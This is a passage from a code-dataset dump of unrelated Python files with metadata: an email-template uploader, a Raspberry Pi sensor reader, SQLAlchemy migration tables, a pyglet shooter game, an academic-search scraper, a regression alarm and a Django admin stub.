version string and exit')\n parser.add_argument('-i', '--info', action='store_true',\n help='print out the sendwithus ids and names of the templates and '\n 'snippets included in the templates yaml file')\n parser.add_argument('--update-dev', action='store_true',\n help='update the sendwithus development templates and snippets')\n parser.add_argument('--update-prod', action='store_true',\n help='update the sendwithus production templates and snippets')\n # parser.add_argument('templates', metavar='T', type=str, nargs='*',\n # help='the list of templates to upload')\n # parser.add_argument('-s', '--snippets', action=\"store_true\",\n # help='provide this flag to upload all local snippets.'\n # ' Any new snippets will be created')\n return parser.parse_args()\n\n\n### Main #######################################################################\ndef main():\n options = parse_args()\n if options.version:\n print('uploadwithus', __version__)\n sys.exit(0)\n config = {}\n try: # read config file\n with open('config.yaml', 'r') as f:\n config = yaml.load(f)\n except IOError as e:\n if e.errno == errno.ENOENT: # FileNotFoundError\n log('config file not found')\n else:\n raise\n if not 'api_key' in config:\n try: # initiate api key from environmental variable\n config['api_key'] = os.environ['SENDWITHUS_API_KEY']\n except KeyError as e:\n log('SENDWITHUS_API_KEY environmental variable not found.', error=True)\n sys.exit(1)\n if not 'expand' in config:\n config['expand'] = []\n _api = API(config['api_key'], config['expand'])\n if options.info:\n _api.get_sendwithus_ids()\n if options.update_dev:\n _api.update_snippets(development=True)\n _api.update_templates(development=True)\n if options.update_prod:\n resp = input(\n 'NOTE: this option modifies production emails, use only when '\n 'deploying development code. Type `I understand` to continue.'\n '\\n--> '\n )\n if resp == 'I understand':\n _api.update_snippets(development=False)\n _api.update_templates(development=False)\n\nif __name__ == '__main__':\n main()\n", "sub_path": "uploadwithus.py", "file_name": "uploadwithus.py", "file_ext": "py", "file_size_in_byte": 14580, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.sub", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sendwithus.api", "line_number": 86, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 94, "usage_type": "call"}, {"api_name": "cached_property.cached_property", "line_number": 102, "usage_type": "name"}, {"api_name": "yaml.load", "line_number": 116, "usage_type": "call"}, {"api_name": "cached_property.cached_property", "line_number": 112, "usage_type": "name"}, {"api_name": "cached_property.cached_property", "line_number": 230, "usage_type": "name"}, {"api_name": "yaml.load", "line_number": 238, "usage_type": "call"}, {"api_name": "cached_property.cached_property", "line_number": 234, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 285, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 286, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 310, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 314, "usage_type": "call"}, {"api_name": "errno.ENOENT", "line_number": 316, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 322, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 325, "usage_type": "call"}, {"api_name": "builtins.input", "line_number": 335, "usage_type": "call"}]} {"seq_id": "524653083", "text": "import RPi.GPIO as GPIO\nfrom time import sleep\nimport serial\nfrom utcp import UTCP \n\nimport smbus\nfrom smbus import SMBus\nfrom smbus2 import SMBus, i2c_msg\n\nser = serial.Serial(port=\"/dev/serial0\", baudrate=9600)\nsender = UTCP(ser)\n\nbus = SMBus(1)\ni2c_ch = 1 \ni2c_address = 64 #HDC1080 address on the I2C bus\n\nreg_Temperature = 0x00 #Temperature measurement output\nreg_Humidity = 0x01 #Relative Humidity measurement output\nreg_Configuration = 0x02 #HDC1080 configuration and status\nreg_Serial_ID1 = 0xFB #First 2 bytes of the serial ID of the part\nreg_Serial_ID2 = 0xFC #Mid 2 bytes of the serial ID of the part\nreg_Serial_ID3 = 0xFD #Last byte bit of the serial ID of the part\nreg_Manufacturer_ID = 0xFE#ID of Texas Instruments\nreg_Device_ID = 0xFF #ID of the device\n\nclass TH:\n def read_temp_humidity(msg=None): #get a temp measurment \n register_config = [0x10,0x00]\n bus.write_i2c_block_data(i2c_address, reg_Configuration, register_config) #update the resister configuration \n msg = i2c_msg.write(i2c_address,[reg_Temperature])\n bus.i2c_rdwr(msg)\n sleep(.02)\n msg = i2c_msg.read(i2c_address,4)\n bus.i2c_rdwr(msg)\n\n temp = (msg[0]<<8)^msg[1]\n tempurature = (temp/pow(2,16))*165-40\n formatted_string = \"{:.1f}\".format(tempurature)\n tempurature = float(formatted_string)\n sender.send(0, 2, tempurature)\n\n hum = (msg[2]<<8)^msg[3]\n humidity = (hum/pow(2,16))*100\n formatted_string = \"{:.1f}\".format(humidity)\n humidity = float(formatted_string)\n sender.send(0, 1, humidity)\n\n return", "sub_path": "Legacy/Sensor_files/Temp_and_humidity_sensor_pi0.py", "file_name": "Temp_and_humidity_sensor_pi0.py", "file_ext": "py", "file_size_in_byte": 1642, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "serial.Serial", "line_number": 10, "usage_type": "call"}, {"api_name": "utcp.UTCP", "line_number": 11, "usage_type": "call"}, {"api_name": "smbus2.SMBus", "line_number": 13, "usage_type": "call"}, {"api_name": "smbus2.i2c_msg.write", "line_number": 30, "usage_type": "call"}, {"api_name": "smbus2.i2c_msg", "line_number": 30, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}, {"api_name": "smbus2.i2c_msg.read", "line_number": 33, "usage_type": "call"}, {"api_name": "smbus2.i2c_msg", "line_number": 33, "usage_type": "name"}]} {"seq_id": "519707952", "text": "# vim:set fileencoding=utf-8 ft=python ts=8 sw=4 sts=4 et cindent:\n'''\nContains the methods and classes used for interaction with the database and for\nstorage of the repository's state.\n'''\n# Copyright © 2011 Fabian Knittel <fabian.knittel@lettink.de>\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2, or (at your option)\n# any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.schema import ForeignKey\nfrom sqlalchemy.types import Integer\nfrom sqlalchemy.types import String\nfrom sqlalchemy.schema import Column\nfrom sqlalchemy.schema import MetaData\nfrom sqlalchemy.orm import relation\nfrom sqlalchemy.orm import backref\n\n_metadata = MetaData()\n_Base = declarative_base(metadata=_metadata)\n\nclass Repository(_Base):\n \"\"\"@DynamicAttrs\"\"\"\n __tablename__ = 'migrate_repositories'\n\n repository_id = Column(Integer, primary_key=True)\n repository_name = Column(String, unique=True)\n\n applied_patches = relation('AppliedPatch', backref=backref('repository',\n primaryjoin=\"Repository.repository_id == AppliedPatch.repository_id\"),\n cascade='delete')\n\n def __init__(self, repository_id=None, repository_name=None):\n self.repository_id = repository_id\n self.repository_name = repository_name\n\n def __repr__(self):\n return \"<MigrateRepository('%d','%s')>\" % (self.repository_id,\n self.repository_name)\n\nclass AppliedPatch(_Base):\n \"\"\"@DynamicAttrs\"\"\"\n __tablename__ = 'migrate_applied_patches'\n\n repository_id = Column(Integer,\n ForeignKey('migrate_repositories.repository_id'), primary_key=True)\n patch_name = Column(String, primary_key=True)\n\n def __init__(self, repository_id, patch_name):\n self.repository_id = repository_id\n self.patch_name = patch_name\n\n def __repr__(self):\n return \"<AppliedPatch('%d','%s')>\" % (self.repository_id,\n self.patch_name)\n\n @staticmethod\n def get_all(sess, repository_name):\n \"\"\"Returns the list of applied patches for repository `repository_name`.\n \"\"\"\n return sess.query(AppliedPatch)\\\n .join(Repository)\\\n .filter(Repository.repository_name == repository_name)\\\n .all()\n\n @staticmethod\n def is_applied(sess, repository_name, patch_name):\n patch = sess.query(AppliedPatch)\\\n .join(Repository)\\\n .filter(Repository.repository_name == repository_name)\\\n .filter(AppliedPatch.patch_name == patch_name)\\\n .first()\n return patch is not None\n\nDB_CLASSES = [Repository, AppliedPatch]\n\ndef create_tables(bind, checkfirst=True):\n dialect = bind.engine.dialect\n for dbcls in DB_CLASSES:\n dbcls.__table__.create(bind, checkfirst=checkfirst)\n if dialect.name == 'postgresql':\n bind.execute('GRANT SELECT ON %s TO PUBLIC' % dbcls.__table__.name)\n\ndef drop_tables(bind, checkfirst=True):\n for dbcls in reversed(DB_CLASSES):\n dbcls.__table__.drop(bind, checkfirst=checkfirst)\n\ndef _clear_connection(sess):\n \"\"\"Patches might not always reset the connection's role or search_path, so\n explicitly do that here (currently only for PostgreSQL).\n \"\"\"\n dialect = sess.connection().engine.dialect\n if dialect.name == 'postgresql':\n sess.execute('SET ROLE NONE')\n sess.execute('SET search_path = public')\n\ndef execute_script(sess, sql_text):\n \"\"\"Execute an SQL script on a session. Works around limitation in SQLite\n back-end, which doesn't allow multiple statements, by using the\n SQLite-specific ``executescript()``-method, when available. The approach\n was borrowed from ``migrate.versioning.script.sql``.\n \"\"\"\n dbapi = sess.connection().engine.raw_connection()\n if getattr(dbapi, 'executescript', None) is not None:\n dbapi.executescript(sql_text)\n else:\n sess.execute(sql_text)\n _clear_connection(sess)\n", "sub_path": "spabademy/database/migrations/db.py", "file_name": "db.py", "file_ext": "py", "file_size_in_byte": 4556, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlalchemy.schema.MetaData", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.schema.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.types.Integer", "line_number": 38, "usage_type": "argument"}, {"api_name": "sqlalchemy.schema.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.types.String", "line_number": 39, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.relation", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.backref", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.schema.Column", "line_number": 57, "usage_type": "call"}, {"api_name": "sqlalchemy.types.Integer", "line_number": 57, "usage_type": "argument"}, {"api_name": "sqlalchemy.schema.ForeignKey", "line_number": 58, "usage_type": "call"}, {"api_name": "sqlalchemy.schema.Column", "line_number": 59, "usage_type": "call"}, {"api_name": "sqlalchemy.types.String", "line_number": 59, "usage_type": "argument"}]} {"seq_id": "516831052", "text": "import pyglet\nfrom pyglet.window import key\nfrom object import *\nfrom random import randint, choice\nfrom math import sin\n\n\nclass gameWindow(pyglet.window.Window):\n def __init__(self, *args, ** kwargs):\n super().__init__(*args, **kwargs)\n # import sound effect\n self.fire_sound = pyglet.media.load('sound/player_gun.mp3', streaming=False)\n self.exp_sound = pyglet.media.load('sound/exp_01.mp3', streaming=False)\n\n self.frame_rate = 1/60.0\n\n self.right = False\n self.left = False\n self.up = False\n self.down = False\n self.speed = 800\n # import player ship image\n player_tmp = pyglet.sprite.Sprite(load_img('jet.png'))\n self.player = gameObject(self.width / 2.3, self.height / 7, player_tmp)\n # inport monster image\n self.mons1 = load_img('quai1.png')\n self.mons2 = load_img('quai2.png')\n self.mons3 = load_img('quai3.png')\n self.mons_list = [self.mons1, self.mons2, self.mons3]\n self.mons_draw = []\n self.shot_ene = load_img('dan1.png') # bullet of enemy\n self.shot_enemy_list = []\n self.fire_enemy_rate = 0\n # import and set attribute of player bullet\n self.shot = load_img('dan.png')\n self.shot_list = []\n self.fire = False\n self.fire_rate = 0\n # background\n self.space_list = []\n self.space_img = load_img('back2.jpg')\n # make background scroll\n for i in range(2):\n self.space_list.append(gameObject(0, i*1000, pyglet.sprite.Sprite(self.space_img)))\n #import and set attribute of exploision image\n self.exploit = pyglet.image.load_animation('img/bom.gif')\n self.exploit_list = []\n self.exp_batch = pyglet.graphics.Batch()\n self.time_bom = 1.5\n self.wait = 1.5\n # text label\n label = pyglet.text.Label(\"Score\", font_size=36, y=650, x=1000, batch=self.exp_batch)\n self.score = pyglet.text.Label(\"0\", font_size=36, y=650, x=1150, batch=self.exp_batch) # score of player\n self.text = pyglet.text.Label(\"Press ENTER to PLAY\",\n font_size=45,\n y=self.height/2,\n x= self.width/2,\n anchor_x = 'center',\n anchor_y = 'center')\n\n back_tmp = pyglet.image.load_animation('img/giphy.gif') # background of menu\n self.back_ground = pyglet.sprite.Sprite(img=back_tmp)\n self.back_ground.update(scale_x=self.width/self.back_ground.width, scale_y=self.height/self.back_ground.height)\n self.play = False\n self.alive = False\n\n\n def on_key_press(self, symbol, modifiers): # take keyboard event\n if symbol == key.RIGHT:\n self.right = True\n if symbol == key.LEFT:\n self.left = True\n if symbol == key.ENTER:\n self.play = True\n self.alive = True\n if symbol == key.UP:\n self.up = True\n if symbol == key.DOWN:\n self.down = True\n if symbol == key.SPACE:\n self.fire = True\n if symbol == key.ESCAPE:\n pyglet.app.exit()\n\n\n def on_key_release(self, symbol, modifiers):\n if symbol == key.SPACE:\n self.fire = False\n if symbol == key.RIGHT:\n self.right = False\n if symbol == key.LEFT:\n self.left = False\n if symbol == key.UP:\n self.up = False\n if symbol == key.DOWN:\n self.down = False\n\n\n def reload(self): # reload the game\n self.mons_draw.clear()\n self.shot_enemy_list.clear()\n self.fire_enemy_rate = 0\n self.shot_list.clear()\n self.fire_rate = 0\n self.exploit_list.clear()\n self.score.text = '0'\n self.player.posx = self.width / 2.3\n self.player.posy = self.height / 7\n self.wait = 1.5\n self.time_bom = 1.5\n\n\n def on_draw(self):\n if not self.play: # when the game not start\n self.reload()\n self.clear()\n self.back_ground.draw()\n self.text.draw()\n else:\n self.clear()\n for space in self.space_list: # effect backgroung scroll\n space.draw()\n self.player.draw()\n for bul in self.shot_list: # draw bullet of player\n bul.draw()\n for mons in self.mons_draw: # draw monster\n mons.draw()\n for sho in self.shot_enemy_list: # draw bullet of monster\n sho.draw()\n self.exp_batch.draw()\n\n\n def update_shot_player(self, dt): # update position of player bullet\n for gun in self.shot_list:\n gun.update()\n gun.posy += 2000 * dt\n if gun.posy > 750:\n self.shot_list.remove(gun)\n\n\n def update_shot_enemy(self, dt): # update position of monster bullet\n for shot in self.shot_enemy_list:\n shot.update()\n shot.posy -= 200 * dt\n if shot.posy < 0:\n self.shot_enemy_list.remove(shot)\n\n\n def bullet(self, dt): # set attribute of monster bullet\n self.fire_enemy_rate -= dt\n if self.fire_enemy_rate <= 0:\n for enemy in self.mons_draw:\n if randint(0, 10) <= 2:\n self.shot_enemy_list.append(gameObject(enemy.posx + 200, enemy.posy, pyglet.sprite.Sprite(self.shot_ene)))\n self.fire_enemy_rate += 1\n\n\n def fired(self, dt): # set attribute of player bullet\n self.fire_rate -= dt\n if self.fire_rate <= 0:\n self.shot_list.append(gameObject(self.player.posx + 52, self.player.posy + 191, pyglet.sprite.Sprite(self.shot)))\n self.fire_rate += 0.3\n self.fire_sound.play()\n\n\n def update_player(self, dt): # update position of player\n self.player.update()\n if self.right and self.player.posx < self.width - 70:\n self.player.posx += self.speed * dt\n if self.left and self.player.posx > 0 - 70:\n self.player.posx -= self.speed * dt\n if self.up and self.player.posy < self.height - 80:\n self.player.posy += self.speed * dt\n if self.down and self.player.posy > 0 - 80:\n self.player.posy -= self.speed * dt\n\n\n def update_enemy(self, dt): # update position of monster\n for x in self.mons_draw:\n x.update()\n x.posy -= 100 * dt\n x.posx += sin(x.posy/50) * randint(70, 100) * dt\n if x.posy < 0:\n self.mons_draw.remove(x)\n\n\n def hit(self, take, list): # when 2 object hit\n for obj in list:\n if obj.posx < take.posx + take.width and obj.posx + obj.width > take.posx \\\n and obj.posy < take.posy + take.height and obj.height + obj.posy > take.posy:\n list.remove(obj)\n return True\n\n\n def shot_enemy(self, dt): # when player shot monster\n for take in self.mons_draw:\n if self.hit(take, self.shot_list):\n self.exploit_list.append(pyglet.sprite.Sprite(self.exploit, x=take.posx, y=take.posy, batch=self.exp_batch))\n self.mons_draw.remove(take)\n self.score.text = str(int(self.score.text) + 1)\n self.exp_sound.play()\n\n\n def hit_player(self, dt): # when player hit monster or monster shot player\n if self.hit(self.player, self.mons_draw) or self.hit(self.player, self.shot_enemy_list):\n self.exploit_list.append(pyglet.sprite.Sprite(self.exploit, x=self.player.posx, y=self.player.posy, batch=self.exp_batch))\n self.exp_sound.play()\n self.alive = False\n\n\n def wait_time(self, dt): # the time of exploision\n self.wait -= 0.1\n if self.wait <= 0:\n self.play = False\n\n\n def update_exploit(self, dt):\n self.time_bom -= 0.1\n if self.time_bom <= 0:\n for exp in self.exploit_list:\n self.exploit_list.remove(exp)\n exp.delete()\n self.time_bom += 1.5\n\n\n def create_enenmy(self, dt):\n tmp = choice(self.mons_list)\n self.mons_draw.append(gameObject(randint(50, 1200), 700, pyglet.sprite.Sprite(tmp)))\n\n\n def update_space(self, dt): \n for space in self.space_list:\n space.update()\n space.posy -= 200 * dt\n if space.posy <= -1300:\n self.space_list.remove(space)\n self.space_list.append(gameObject(0, 760, pyglet.sprite.Sprite(self.space_img)))\n\n\n def update(self, dt):\n if self.play:\n self.update_shot_player(dt)\n self.update_shot_enemy(dt)\n if self.fire:\n self.fired(dt)\n self.bullet(dt)\n self.update_player(dt)\n self.update_space(dt)\n self.update_enemy(dt)\n if len(self.mons_draw) <= 5:\n self.create_enenmy(dt)\n self.shot_enemy(dt)\n self.hit_player(dt)\n self.update_exploit(dt)\n if not self.alive:\n self.update_exploit(dt)\n self.wait_time(dt)\n\n\nif __name__ == \"__main__\":\n pyglet.options['audio'] = ('directsound', 'openal', 'pulse')\n window = gameWindow(1280, 720, \"Matrix\")\n pyglet.clock.schedule_interval(window.update, window.frame_rate)\n pyglet.app.run()\n", "sub_path": "shot-jet/win.py", "file_name": "win.py", "file_ext": "py", "file_size_in_byte": 9470, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pyglet.window", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pyglet.media.load", "line_number": 12, "usage_type": "call"}, {"api_name": "pyglet.media", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pyglet.media.load", "line_number": 13, "usage_type": "call"}, {"api_name": "pyglet.media", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 23, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 44, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pyglet.image.load_animation", "line_number": 46, "usage_type": "call"}, {"api_name": "pyglet.image", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pyglet.graphics.Batch", "line_number": 48, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pyglet.text.Label", "line_number": 52, "usage_type": "call"}, {"api_name": "pyglet.text", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pyglet.text.Label", "line_number": 53, "usage_type": "call"}, {"api_name": "pyglet.text", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pyglet.text.Label", "line_number": 54, "usage_type": "call"}, {"api_name": "pyglet.text", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pyglet.image.load_animation", "line_number": 61, "usage_type": "call"}, {"api_name": "pyglet.image", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 62, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pyglet.window.key.RIGHT", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 69, "usage_type": "name"}, {"api_name": "pyglet.window.key.LEFT", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 71, "usage_type": "name"}, {"api_name": "pyglet.window.key.ENTER", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 73, "usage_type": "name"}, {"api_name": "pyglet.window.key.UP", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 76, "usage_type": "name"}, {"api_name": "pyglet.window.key.DOWN", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 78, "usage_type": "name"}, {"api_name": "pyglet.window.key.SPACE", "line_number": 80, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 80, "usage_type": "name"}, {"api_name": "pyglet.window.key.ESCAPE", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 82, "usage_type": "name"}, {"api_name": "pyglet.app.exit", "line_number": 83, "usage_type": "call"}, {"api_name": "pyglet.app", "line_number": 83, "usage_type": "attribute"}, {"api_name": "pyglet.window.key.SPACE", "line_number": 87, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 87, "usage_type": "name"}, {"api_name": "pyglet.window.key.RIGHT", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 89, "usage_type": "name"}, {"api_name": "pyglet.window.key.LEFT", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 91, "usage_type": "name"}, {"api_name": "pyglet.window.key.UP", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 93, "usage_type": "name"}, {"api_name": "pyglet.window.key.DOWN", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pyglet.window.key", "line_number": 95, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 153, "usage_type": "call"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 154, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 154, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 161, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 161, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 182, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 182, "usage_type": "call"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 198, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 198, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 206, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 206, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 227, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 228, "usage_type": "call"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 228, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 228, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 237, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 237, "usage_type": "attribute"}, {"api_name": "pyglet.options", "line_number": 261, "usage_type": "attribute"}, {"api_name": "pyglet.clock.schedule_interval", "line_number": 263, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 263, "usage_type": "attribute"}, {"api_name": "pyglet.app.run", "line_number": 264, "usage_type": "call"}, {"api_name": "pyglet.app", "line_number": 264, "usage_type": "attribute"}]} {"seq_id": "293036460", "text": "\nimport json\nimport uuid\nimport urllib\nimport urllib2\n\ndef search(name):\n id = str(uuid.uuid4())\n url = 'https://preview.academic.microsoft.com/api/search/GetEntityResults?correlationId=' + id \n \n query = {'Query':'@' + name + '@'}\n headers = { 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36',\n 'Accept':'*/*',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' ,\n 'Origin': 'https://preview.academic.microsoft.com',\n 'Referer' : 'https://preview.academic.microsoft.com/',\n 'Accept':'application/json',\n }\n form = urllib.urlencode(query) + '&Limit=1&Offset=0&OrderBy=&SortAscending=false' \n request = urllib2.Request(url, form, headers)\n results = urllib2.urlopen(request)\n# resp = requests.post(url, data=payload, headers=headers)\n \n# pretty_print_POST(resp.request)\n data = json.loads(results.read())\n file1 = open(name + \"reponse1.json\",\"w\") \n file1.write(json.dumps(data, indent=4, sort_keys=False)) \n file1.close() \n \n article = data['entitiesInQuery'][0]\n \n filterAuthors = []\n for autor in article['entity']['aa']:\n filterAuthors.append('Composite(AA.AuId%3D' + str(autor['auId']) + ')%2C')\n \n filterAuthors = '&Filters=' + ''.join(filterAuthors).rsplit('%2C', 1)[0]\n \n form2 = urllib.urlencode(query) + filterAuthors +'&Limit=1&Offset=0&OrderBy=&SortAscending=false'\n request = urllib2.Request(url, form2, headers)\n results = urllib2.urlopen(request)\n \n data = json.loads(results.read())\n \n file3 = open(name + \"reponse2.json\",\"w\") \n file3.write(json.dumps(data, indent=4, sort_keys=False)) \n file3.close() \n \ndef main():\n search('Accuracy and Diversity in Cross-domain Recommendations for Cold-start Users with Positive-only Feedback')\n \ndef pretty_print_POST(req):\n \"\"\"\n At this point it is completely built and ready\n to be fired; it is \"prepared\".\n\n However pay attention at the formatting used in \n this function because it is programmed to be pretty \n printed and may differ from the actual request.\n \"\"\"\n print('{}\\n{}\\n{}\\n\\n{}'.format(\n '-----------START-----------',\n req.method + ' ' + req.url,\n '\\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),\n req.body,\n ))\n \nif __name__ == '__main__':\n main()\n\n", "sub_path": "api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 2481, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "uuid.uuid4", "line_number": 8, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 20, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 21, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 27, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 38, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 39, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 42, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 45, "usage_type": "call"}]} {"seq_id": "14194405", "text": "import os\nimport sys\n\nimport numpy as np\n\nfrom sklearn import linear_model\nimport service.alarm_service as alarm_service\nimport util.logger_util as logger_util\n\nlogger = logger_util.Logger(os.path.basename(__file__))\n\nregr = linear_model.LinearRegression()\n\n\ndef process_data(processor):\n # time.sleep(20)\n logger.info(f'processor{processor.processor_id} process data (regression model) begin', sys_info=sys._getframe())\n\n # print(\"data >>> \", processor.data_list)\n threshold = float(processor.model_config[\"model\"][\"threshold\"])\n symbol = processor.model_config[\"model\"][\"symbol\"]\n interval = processor.model_config[\"stream\"][\"interval\"]\n x_interval = abs(threshold * interval / (len(processor.data_list)-1))\n\n coef = get_coef(processor.data_list, x_interval)\n # 判断是否满足报警条件\n trigger = False\n if symbol == '>=':\n if coef >= threshold:\n trigger = True\n elif symbol == '<=':\n if coef <= threshold:\n trigger = True\n\n # 如果满足条件，则产生报警，并截断数据，防止重复触发\n if trigger:\n # print(\"~~~~~bingo\")\n alarm_service.alarm(processor)\n processor.data_list = []\n processor.ts_list = []\n else:\n # print(\"~~~~~miss\")\n processor.data_list = processor.data_list[1:]\n processor.ts_list = processor.ts_list[1:]\n\n # print(\"processed data_list:\", processor.data_list)\n logger.info(f'processor{processor.processor_id} process data (regression model) done', sys_info=sys._getframe())\n\n\ndef get_coef(data_list, x_interval):\n x_param = []\n\n for index in range(len(data_list)):\n x_param.append(index * x_interval)\n\n # print(\"x:\", x_param)\n # print(\"y:\", data_list)\n regr.fit(np.array(x_param, dtype=int).reshape(-1, 1), data_list)\n\n a = regr.coef_\n b = regr.intercept_\n # print(a, b)\n return a\n\n", "sub_path": "model/linear_model_regression.py", "file_name": "linear_model_regression.py", "file_ext": "py", "file_size_in_byte": 1896, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "util.logger_util.Logger", "line_number": 10, "usage_type": "call"}, {"api_name": "util.logger_util", "line_number": 10, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 12, "usage_type": "name"}, {"api_name": "sys._getframe", "line_number": 17, "usage_type": "call"}, {"api_name": "service.alarm_service.alarm", "line_number": 38, "usage_type": "call"}, {"api_name": "service.alarm_service", "line_number": 38, "usage_type": "name"}, {"api_name": "sys._getframe", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}]} {"seq_id": "39824959", "text": "from django.contrib import admin\nfrom django.forms import TextInput, Textarea\nfrom django.db import models\n\nfrom performing.models import Performing\n\nclass PerformingAdmin(admin.ModelAdmin):\n search_fields = ['sn__number']\n list_filter = ['operation','resource_name']\n list_display = ('sn','operation','result','interval','resource_name','start_time','stop_time','duration')\n # list_editable = ('color','move_performa')\n readonly_fields = ('uid','created_date','user')\n 